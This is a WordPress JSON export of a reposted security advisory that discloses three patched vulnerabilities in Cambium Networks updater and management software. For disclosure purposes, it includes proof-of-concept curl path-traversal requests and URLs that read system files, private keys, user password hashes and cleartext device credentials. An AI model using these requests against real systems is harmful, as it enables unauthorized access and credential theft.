{"id":10577,"date":"2017-11-22T14:19:11","date_gmt":"2017-11-22T22:19:11","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/11\/22\/news-4349\/"},"modified":"2017-11-22T14:19:11","modified_gmt":"2017-11-22T22:19:11","slug":"news-4349","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2017\/11\/22\/news-4349\/","title":{"rendered":"SSD Advisory \u2013 Cambium Multiple Vulnerabilities"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Wed, 22 Nov 2017 06:26:27 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3526\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><br \/><script>var obj = jQuery('#a-href-3526');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script> See our full scope at: <a href=\"https:\/\/blogs.securiteam.com\/index.php\/product_scope\">https:\/\/blogs.securiteam.com\/index.php\/product_scope<\/a><\/p>\n<div class=\"pf-content\">\n<p><strong>Vulnerabilities Summary<\/strong><br \/> The following advisory describes three (3) vulnerabilities found in Cambium Network Updater Tool and Networks Services Server.<\/p>\n<p>The Network Updater Tool is &#8220;a free-of-charge tool that applies packages to upgrade the device types that the release notes for the release that you are using list as supported. Because this tool is available, an operator does not need to visit each module in the network or even each AP where they would otherwise use the SM Autoupdate capability of the radios&#8221;<\/p>\n<p>The Cambium Networks Services (CNS) Server is &#8220;a network management application provided by Cambium Networks to manage ePMP devices.&#8221;<\/p>\n<p>The vulnerabilities found in Cambium products are:<\/p>\n<ul>\n<li>Cambium Network Updater Tool (CNUT) &#8211; Unauthenticated File Path Traversal<\/li>\n<li>Cambium Networks Services Server (CNSS) &#8211; Unauthenticated Access Control Bypass<\/li>\n<li>Cambium Networks Services Server (CNSS) \u2013 Capture credentials for Device Discovery <\/li>\n<\/ul>\n<p><strong>Credit<\/strong><br \/> An independent security researcher, Karn Ganeshen, has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program<\/p>\n<p><strong>Vendor response<\/strong><br \/> Cambium has released patches to address those vulnerabilities.<\/p>\n<p>For more details:  https:\/\/help.endian.com\/hc\/en-us\/articles\/115012996087 &#8211; Support Case 131840<\/p>\n<p><span id=\"more-3526\"><\/span><\/p>\n<p><strong><u>Vulnerabilities details<\/u><\/strong><br \/> <strong>Cambium Network Updater Tool Unauthenticated File Path Traversal<\/strong><\/p>\n<p>When Cambium Network Updater Tool is started, it runs a web server on HTTP(S) port 80\/443. Cambium Network Updater Tool is a Java application. The web server does not perform strict input validation, and uses input data for filesystem operation.<\/p>\n<p>Therefore,  it  is  possible  for  an un-authenticated user to read arbitrary  files  off  of  the  file  system  by  issuing  the following request:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a15f7df333ed743305817\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> curl http:\/\/IP\/..\/..\/path\/to\/file<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0003 seconds] -->  <\/p>\n<p><u>proof of Concept<\/u><br \/> The following request can be used to read the Windows win.ini file:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a15f7df333f4561683640\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> curl http:\/\/IP\/..\/..\/windows\/win.ini<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a15f7df333f4561683640-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a15f7df333f4561683640-1\"><span class=\"crayon-e\">curl <\/span><span class=\"crayon-v\">http<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-c\">\/\/IP\/..\/..\/windows\/win.ini<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0002 seconds] -->  <\/p>\n<p>The server will response with:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a15f7df333f7732179084\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> ; for 16-bit app support  [fonts]  [extensions]  [mci extensions]  [files]  [Mail]  MAPI=1  [MCI Extensions.BAK]  3g2=MPEGVideo  3gp=MPEGVideo  3gp2=MPEGVideo  3gpp=MPEGVideo  aac=MPEGVideo  adt=MPEGVideo  adts=MPEGVideo  m2t=MPEGVideo  m2ts=MPEGVideo  m2v=MPEGVideo  m4a=MPEGVideo  m4v=MPEGVideo  mod=MPEGVideo  mov=MPEGVideo  mp4=MPEGVideo  mp4v=MPEGVideo  mts=MPEGVideo  ts=MPEGVideo  tts=MPEGVideo<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a15f7df333f7732179084-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a15f7df333f7732179084-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a15f7df333f7732179084-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a15f7df333f7732179084-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a15f7df333f7732179084-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a15f7df333f7732179084-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a15f7df333f7732179084-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a15f7df333f7732179084-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a15f7df333f7732179084-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a15f7df333f7732179084-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a15f7df333f7732179084-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a15f7df333f7732179084-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a15f7df333f7732179084-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a15f7df333f7732179084-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a15f7df333f7732179084-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a15f7df333f7732179084-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a15f7df333f7732179084-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a15f7df333f7732179084-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a15f7df333f7732179084-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a15f7df333f7732179084-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a15f7df333f7732179084-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a15f7df333f7732179084-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a15f7df333f7732179084-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a15f7df333f7732179084-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a15f7df333f7732179084-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a15f7df333f7732179084-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a15f7df333f7732179084-27\">27<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a15f7df333f7732179084-1\"><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">bit <\/span><span class=\"crayon-e\">app <\/span><span class=\"crayon-i\">support<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a15f7df333f7732179084-2\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">fonts<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a15f7df333f7732179084-3\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">extensions<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a15f7df333f7732179084-4\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-e\">mci <\/span><span class=\"crayon-v\">extensions<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a15f7df333f7732179084-5\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">files<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a15f7df333f7732179084-6\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">Mail<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a15f7df333f7732179084-7\"><span class=\"crayon-v\">MAPI<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a15f7df333f7732179084-8\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-e\">MCI <\/span><span class=\"crayon-v\">Extensions<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">BAK<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a15f7df333f7732179084-9\"><span class=\"crayon-cn\">3g2<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-i\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a15f7df333f7732179084-10\"><span class=\"crayon-cn\">3gp<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-i\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a15f7df333f7732179084-11\"><span class=\"crayon-cn\">3gp2<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-i\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a15f7df333f7732179084-12\"><span class=\"crayon-cn\">3gpp<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a15f7df333f7732179084-13\"><span class=\"crayon-v\">aac<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a15f7df333f7732179084-14\"><span class=\"crayon-v\">adt<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a15f7df333f7732179084-15\"><span class=\"crayon-v\">adts<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a15f7df333f7732179084-16\"><span class=\"crayon-v\">m2t<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a15f7df333f7732179084-17\"><span class=\"crayon-v\">m2ts<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a15f7df333f7732179084-18\"><span class=\"crayon-v\">m2v<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a15f7df333f7732179084-19\"><span class=\"crayon-v\">m4a<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a15f7df333f7732179084-20\"><span class=\"crayon-v\">m4v<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a15f7df333f7732179084-21\"><span class=\"crayon-v\">mod<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a15f7df333f7732179084-22\"><span class=\"crayon-v\">mov<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a15f7df333f7732179084-23\"><span class=\"crayon-v\">mp4<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a15f7df333f7732179084-24\"><span class=\"crayon-v\">mp4v<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a15f7df333f7732179084-25\"><span class=\"crayon-v\">mts<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a15f7df333f7732179084-26\"><span class=\"crayon-v\">ts<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">MPEGVideo<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a15f7df333f7732179084-27\"><span class=\"crayon-v\">tts<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">MPEGVideo<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0013 seconds] -->  <\/p>\n<p>When submitting the crafted url via the browser, the forward slash (\/) character needs to be encoded. The url will be: http:\/\/IP\/..%2F..%2Fwindows\/win.ini<\/p>\n<p><strong>Cambium Networks Services Server Unauthenticated Access Control Bypass<\/strong><\/p>\n<p>Cambium Networks Services Server does not implement strict access control. An unauthenticated, remote user can therefore, access the root-, sub-directories, and sensitive configuration files, directly from the server.<\/p>\n<p><u>Proof of Concept<\/u><br \/> An unauthenticated attacker can access to the following folders:<\/p>\n<p>Apache<br \/> http:\/\/IP\/httpd.conf<br \/> http:\/\/IP\/windows\/apache2\/conf\/server.key<br \/> http:\/\/IP\/windows\/apache2\/conf\/server.pem<br \/> http:\/\/IP\/windows\/apache2\/conf\/httpd.conf<\/p>\n<p>PHP<br \/> http:\/\/IP\/stack\/php\/php.ini<br \/> http:\/\/IP\/windows\/php\/php.ini<\/p>\n<p>Postgresql<br \/> http:\/\/IP\/stack\/postgresql\/data\/pg_hba.conf<br \/> http:\/\/IP\/stack\/postgresql\/data\/postgresql.conf<\/p>\n<p>Logs<br \/> http:\/\/IP\/logs\/<\/p>\n<p>Access User Hashes<br \/> http:\/\/IP\/scripts\/cnss_test_users.sql<br \/> http:\/\/IP\/scripts\/cnss_seed_users.sql<\/p>\n<p>These files contain login names and password hashes for the application users.<\/p>\n<p><strong>Cambium Networks Services Server (CNSS) \u2013 Capture credentials for Device Discovery<\/strong><\/p>\n<p>CNSS  is  used  for  discovering various  other  Cambium  devices  such  as  ePMP,  and  managing  all  deployed  units centrally. In  order  to  discover  and  access  the  devices,  it  relies  upon  SNMP  (v2c)  community strings and  login credentials.<\/p>\n<p>The CNSS application has 2 roles \u2013 administrators, and users. An &#8216;admin&#8217; has full access to the application. A user in &#8216;users&#8217; group has restricted access to functions in the application.<\/p>\n<p>An admin user can access &#038; make changes to default configuration for device discovery<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/11\/Cambium-1.jpg\" data-slb-active=\"1\" data-slb-asset=\"1174490503\" data-slb-internal=\"0\" data-slb-group=\"3526\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/11\/Cambium-1-300x284.jpg\" alt=\"\" width=\"300\" height=\"284\" class=\"alignnone size-medium wp-image-3527\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/11\/Cambium-1-300x284.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/11\/Cambium-1-768x726.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/11\/Cambium-1.jpg 845w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>The non-administrative account \u2013 &#8216;user&#8217; \u2013 cannot access &#8216;Discover&#8217; function configuration<\/p>\n<p>However, it is possible for a &#8216;user&#8217; to capture this configuration \u2013 default login credentials and SNMP strings for other devices &#8211; by accessing the following url:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a15f7df333fc061266684\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> http:\/\/ip\/services\/finder\/admin\/index.php<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a15f7df333fc061266684-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a15f7df333fc061266684-1\"><span class=\"crayon-v\">http<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-c\">\/\/ip\/services\/finder\/admin\/index.php<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0001 seconds] -->  <\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/11\/Cambium-2.jpg\" data-slb-active=\"1\" data-slb-asset=\"1352927243\" data-slb-internal=\"0\" data-slb-group=\"3526\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/11\/Cambium-2-300x183.jpg\" alt=\"\" width=\"300\" height=\"183\" class=\"alignnone size-medium wp-image-3528\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/11\/Cambium-2-300x183.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/11\/Cambium-2-768x468.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/11\/Cambium-2.jpg 921w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>As seen above, SNMP strings &#038; default admin login credentials are stored in clear-text<\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3526\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/11\/Cambium-1-300x284.jpg\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Wed, 22 Nov 2017 06:26:27 +0000<\/strong><\/p>\n<p>Vulnerabilities Summary The following advisory describes three (3) vulnerabilities found in Cambium Network Updater Tool and Networks Services Server. The Network Updater Tool is &#8220;a free-of-charge tool that applies packages to upgrade the device types that the release notes for the release that you are using list as supported. Because this tool is available, an &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3526\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 Cambium Multiple Vulnerabilities<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[11591,10757,12136],"class_list":["post-10577","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-file-disclosure","tag-securiteam-secure-disclosure","tag-unauthenticated-action"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/10577","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=10577"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/10577\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=10577"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=10577"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp